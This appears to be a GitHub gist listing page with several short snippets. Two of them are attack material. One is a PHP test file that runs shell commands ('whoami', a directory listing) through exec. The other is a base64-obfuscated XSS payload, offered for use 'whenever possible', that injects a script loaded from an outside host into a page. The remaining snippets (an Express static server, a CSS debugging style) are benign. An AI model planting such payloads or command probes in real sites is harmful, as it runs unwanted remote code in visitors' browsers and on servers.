Skip to content

Instantly share code, notes, and snippets.

@E314c
E314c / test.php
Last active May 31, 2020 23:03
Test
<h1> checking if this works </h1>
<? echo exec('whoami');
echo exec('ls /usr/share/php');
?>
@E314c
E314c / payload.js
Created December 19, 2019 19:45
My favourite XSS payload that I will use whenever possible
Function(atob('KCgpPT57eT1kb2N1bWVudDt4PXkuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7eC5zcmM9Imh0dHBzOi8vd3d3LmNvcm5pZnkuY29tL2pzL2Nvcm5pZnkuanMiO3gudHlwZT0idGV4dC9qYXZhc2NyaXB0Ijt5LmJvZHkuYXBwZW5kQ2hpbGQoeCk7c2V0SW50ZXJ2YWwoKCk9PndpbmRvdy5jb3JuaWZ5X2FkZCgpLDUwMCk7fSkoKQ=='))()
@E314c
E314c / wispi.md
Last active August 15, 2018 21:12
WiSpi Ideas and Information
@E314c
E314c / static.js
Created April 6, 2018 15:52
one line express static server. (needs `express` installed)
x=require('express');x().use(x.static(__dirname)).listen(3200,()=>console.log('listening on 3200'));
@E314c
E314c / undefinedWarning.scss
Created March 22, 2018 11:30
A style to catch "undefined" styles in modern webapps
/* In this modern world of webpacking and importing styles into your javascript
to make use of CSS modules, you sometimes end up asking for a style that just doesn't exist.
Thus, your component ends up with `undefined` in it's class definition.
At best, it's no noticable effect.
At worst, you're missing key styling you thought you had because of a typo in your JS.
This snippet just adds a style to `.undefined`, highlighting them on your screen for ease.
*/